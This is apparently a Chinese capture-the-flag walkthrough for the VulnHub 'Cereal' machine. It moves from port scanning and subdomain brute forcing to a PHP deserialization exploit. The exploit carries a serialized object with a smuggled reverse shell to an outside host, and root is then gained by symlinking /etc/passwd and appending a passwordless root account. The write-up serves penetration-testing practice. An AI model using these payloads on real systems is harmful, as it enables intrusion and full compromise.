靶机介绍
1)靶机地址:https://download.vulnhub.com/cereal/Cereal.ova
2)靶机难度:高(最接近真实场景)
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、路径枚举、密码爆破、域名解析、匿名FTP、子域名爆破、源码审计、反序列化漏洞、编写漏洞利用代码、进程监视、本地提权
5)靶机简介:如果说上周的靶机非常接近真实环境的渗透,那么本周的靶机应该就是真实渗透本身了。通常靶机只会开放一两个端口,所以很容易确定攻击的入口点。但是本周的打靶开放了多个端口,因此需要逐个排查,过滤掉其中的干扰项,找到那个真正存在漏洞的服务。这个排查的过程往往是初学者最大的难点,作为渗透测试者,需要在众多不确定因素的干扰下,利用工程思维找到自己的出路。通常打靶的过程是不涉及子域名爆破的,但是对于本周这台靶机却是必须的,否则连突破边界的入口都找不到。即便找到了漏洞入口,仍然需要获取程序的源码,对其进行源码审计,发现其中的反序列化编码漏洞,并针对漏洞编写自己的漏洞利用代码。提权的过程同样需要不走寻常路,将利用一种前所未用方法,找到那个非常隐蔽的提权线索。针对本周的靶机,枚举、信息收集、源码审计都是突破边界不可或缺的能力要求。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程
1)主机发现
# arp-scan --interface eth1 172.24.10.0/24
2)端口扫描
①对目标靶机进行全端口扫描,发现开放了很多个端口
# nmap -p- 172.24.10.129
②对上述端口进行服务版本扫描
# nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 172.24.10.12
③扫描出21端口开放了vstpd服务,且版本为3.0.3,通过searchsploit检查该服务版本不存在可利用的漏洞
# searchsploit vsftpd 3.0.3
④通过“ftp-anon: Anonymous FTP login allowed“说明,ftp服务器存在匿名登录,通过anonymous账号登录后,为发现任何可疑文件,且不允许往ftp服务器上传文件
# ftp 172.24.10.129
Name (172.24.10.129:root): anonymous #输入登录用户名为anonymous
Password: #登录密码为空
ftp> ls
ftp> ls pub
# echo 11111111 >1.txt #另起一个终端编写一个文件
ftp> put 1.txt #上传文件
⑤通过nc连接目标靶机的21端口,可以连接成功,但是不允许执行任何的命令
# nc 172.24.10.129 21
USER anonymous #输入用户名
PASS #输入密码
help #查看可支持的命令
PORT
⑥80端口显示目标靶机支持TRACE的请求方法,且使用的操作系统发行版为Rocky Linux,中间件为Apache 2.4.37
⑦139和445端口默认为SMB协议的应用,但是此处扫描为扫描出应用层信息,有可能端口进行了更改,并且对目标服务器的SMB服务进行探测(Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息),此处未提取到任何有用信息
# enum4linux 172.24.10.129
⑧通过nc连接11111端口,但无任何反馈信息,表示目标主机的此端口是处于开放状态的,而且通过nc也已经连接到了此端口,说明此端口是一个虚假的端口或者上面的应用是一个未知的应用,同时其他类似端口,如22222,33333返回结果都一致
因为:本靶机突破点只能从80端口和44441端口进行
3)web信息搜集
①通过访问目标靶机:80端口,发现是一个apache的默认页面,在该页面为发现任何有用的信息
http://172.24.10.129/
②右键查看网页源代码也未能发现有用信息
③对目标靶机的web站点进行路径爬取,爬取发现了/admin的站点
#dirb http://172.24.10.129
④对/admin站点进行访问,发现是一个登录页面,尝试通过万能密码、简单弱口令以及暴力破解的方式,均无法成功登陆只目标靶机web站点后台
http://172.24.10.129/admin
⑤对/blog/站点进行访问,根据提示在域名http://cereal.ctf中保存着备份文件和正在运行的一些文件,如果存在网站源码,那么就可以进行简单代码审计发现网站的漏洞
http://172.24.10.129/blog/
⑥上述扫描发现存在/cgi-bin/目录,通过403bypass的方法尝试访问/cgi-bin/目录,也未能有收获,针对403的目录,可以通过文件名直接访问该目录下的文件,403只是说明无法查看该目录下有什么文件,访问文件方式此处也失败
⑦访问phpinfo.php,可获取一些目标靶机站点的基本信息
⑧通过/blog/wp-admin/可知目标靶机存在wordpress的CMS,但是访问是却跳转到了域名http://cereal.ctf
http://172.24.10.129/blog/wp-admin/
⑨在kali的hosts文件中,对该域名进行解析
# vi /etc/hosts
172.24.10.129 cereal.ctf #追加
重新访问后,发现可以打开wordpress后台,通过弱口令和暴力破解也无法直接登陆至后台
⑩其他扫描出的目录及文件信息中均没有有价值的内容,通过wpscan工具对wordpress应用进行漏洞扫描,也未发现有价值内容
# wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed
⑪因第五步提示得知,目标靶机保存着备份文件和正在运行的文件,对其进行目录扫描,但是未扫描出任何备份文件
#dirb http://cereal.ctf/blog/ -X .bak,back
通过使用dirburst扫描工具,也未扫描出任何内容
⑫对目标靶机的44441端口进行访问,返回页面如下,无任何有价值信息。对其进行目录扫描,也未发现有价值信息
3)此时怀疑是否在cereal.ctf域名之下隐藏着其他的子域名,
①通过域名扫描工具,查看目标靶机是否有虚拟主机或者子域名的存在。扫描发现存在secure.cereal.ctf:44441域名
# gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt #-w表示指定DNS子域名爆破的字典
②对子域名进行解析
# vim /etc/hosts
172.24.10.129 secure.cereal.ctf
③重新对新发现的域名进行访问,返回如下页面,通过功能测试,发现在表单输入ip地址后,可进行ping测试,猜测服务器有可能调用了操作系统的ping命令完成了ping测试
http://secure.cereal.ctf:44441/
④查看网页源代码,发现了javascript代码,代码表示从ipform表单中将值提取出来后,将其赋值给ipAddress变量,再对其进行一个序列化的操作,此处有可能存在反序列化的操作
可猜测在上述页面输入IP地址后,先对其进行序列化,传输的服务器后,再对其进行反序列化.
4)在ping测试中输入IP地址,提交表单时进行抓包
对请求体中的数据进行URL编码
PHP序列化之后的数据格式,其中pingTest为序列化对象在服务器端定义的类名称,在这个类中有一个变量的提交,变量名称为ipAddress,赋值为127.0.0.1,s表示序列化,9表示字符的长度
5)查找网站源代码
①除很简单的反序列化漏洞,使用黑盒进行反序列化漏洞挖掘时是很难发现的,除非拿到目标网站的源代码,所以此处通过测试是否存在.git泄露和.svn源码泄露.未发现git或者svn源码泄露
http://secure.cereal.ctf:44441/.git
http://secure.cereal.ctf:44441/.svn
②通过dirbuster工具对http://secure.cereal.ctf:44441/进行一个目录扫描,选择一个大字典
爬取结果发现目标站点存在一个back_en的目录
③对back_en目录下的文件进行扫描,文件后缀选择bak,或者back,并且更换一个通用的字典,
发现在back_en目录下存在一个index.php.bak的文件
④将index.php.bak文件进行下载,查看文件类型发现为php的文本文件
# wget http://secure.cereal.ctf:44441/back_en/index.php.bak
#file index.php.bak
⑤查看index.php.bak文件
# cat index.php.bak
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
object = object.substr(object.indexOf(\"{\"),object.length);
object = \"O:8:\\\"pingTest\\\":1:\" + object;
document.forms[\"ipform\"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
<div class=\"form-holder\">
<div class=\"form-content\">
<div class=\"form-items\">
<h3>Ping Test</h3>
<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>
<div class=\"col-md-12\">
<input name=\"obj\" type=\"hidden\" value=\"\">
<input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
</div>
<br />
<div class=\"form-button mt-3\">
<input type=\"submit\" value=\"Ping!\">
<br /><br /><textarea>$pingTest->output</textarea>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>";
?>
从代码可知,代码对提交的IP地址进行了校验,若校验成功返回true,才会执行系统命令
思路:可以在客户端直接声明一个序列化的数据,数据中声明isValid=true,直接绕过对IP地址的校验,进而执行ping命令,然后在IP地址后面跟上其他命令即可完成远程代码执行操作
6)编写序列化代码,并通过php生成
# cat index.php
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
# php index.php
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
②将其复制到obj中,并对其进行反url解码
将上述请求进行转发后,发现服务器执行了ping操作
③在请求的IP地址中,新增加id命令,转发后,发现命令也成功执行。说明命令执行成功
7)反弹shell
①修改php序列化代码,使其自动生成php序列
# cat index.php
<?php
class pingTest {
public $ipAddress = "127.0.0.1|bash -i >& /dev/tcp/172.24.10.136/4444 0>&1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
┌──(root??kali)-[~]
└─# php index.php
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A53%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F172.24.10.136%2F4444+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
②通过burp,将上述序列化后的代码进行提交,并且在kali主机进行监听
# nc -lnvp 4444
③获取到目标主机shell,突破边界
8)提权信息搜集
①通过查看靶机内核版本,sudo权限,suid权限均未发现可以提权的信息
$ uname -a
$ sudo -l
②查看用户文件,发现存在一个rocky的普通用户,支持登录
③进入rocky家目录,对其进行信息搜集,发现rocky目录下存在的文件属主为rocky,属组为apache
cd /home/rocky
ls -l
cd public_html
ls -la
④通过查看靶机进程,发现靶机通过nc开启了一些虚假端口
$ ps -ef
9)通过pspy工具可以不需要提示至root权限,就可以监视系统进程的创建
下载地址:https://github.com/DominicBreuker/pspy
①kali主机传输pspy文件至目标靶机
#目标靶机:
$ nc -nvlp 6666 > pspy
#kali主机:
$nc 172.24.10.129 6666 < pspy64 -w 1
②运行工具,监测进程,
$chmod +x pspy
$./pspy
运行工具后,会将当前运行的进程显示出来,对于定时任务,会在定时任务执行后查看到
③根据一点时间对进程进行监测后发现,执行了一个chown.sh的脚本
脚本内容显示,只要是目录下的文件,都会将其属主设置为rocky,数组设置为apache
④对/etc/passwd用户文件设置一个软链接在当前目录,只要定时任务修改了软链接文件的权限,那么原文件也会进行修改
$ cd /home/rocky/public_html/
$ ln -s /etc/passwd passwd
echo "zdz::0:0:root:/root:/bin/bash" >>passwd
⑤查看/etc/passswd用户文件中是否追加上添加的用户,追加成功后,直接进行su切换,切换成功后,获取到root用户权限,获得flag
$ cat /etc/passwd
$ su - zdz
$id
$cd /root
$ls -l
$cat proof.txt